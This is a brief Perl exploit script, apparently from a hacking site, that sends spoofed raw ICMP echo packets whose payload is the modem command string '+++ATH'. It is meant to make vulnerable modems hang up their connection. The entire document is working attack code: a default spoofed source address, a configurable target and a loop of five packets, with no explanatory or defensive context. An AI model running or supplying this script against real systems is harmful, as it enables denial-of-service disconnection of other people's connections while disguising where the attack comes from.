#!/usr/bin/perl
#By: Fredrik Nordberg Almroth
#URL: http://h.ackack.net/
use Net::RawIP;
my $saddr    =    shift    ||    '1.3.3.7';
my $daddr    =    shift    ||    '192.168.0.1';
$packet = new Net::RawIP ({icmp =>{}});
$packet->set({
  ip => {
    saddr => $saddr,
    daddr => $daddr
  },
  icmp => {
    type => 0x8,
    code => 0x0,
    data => "\x2B\x2B\x2B\x41\x54\x48\x0D\x0A"
  }
});
print "[>] Sending 5 packets...\n";
$packet->send(0x1,0x5);
print "[~] Done!\n";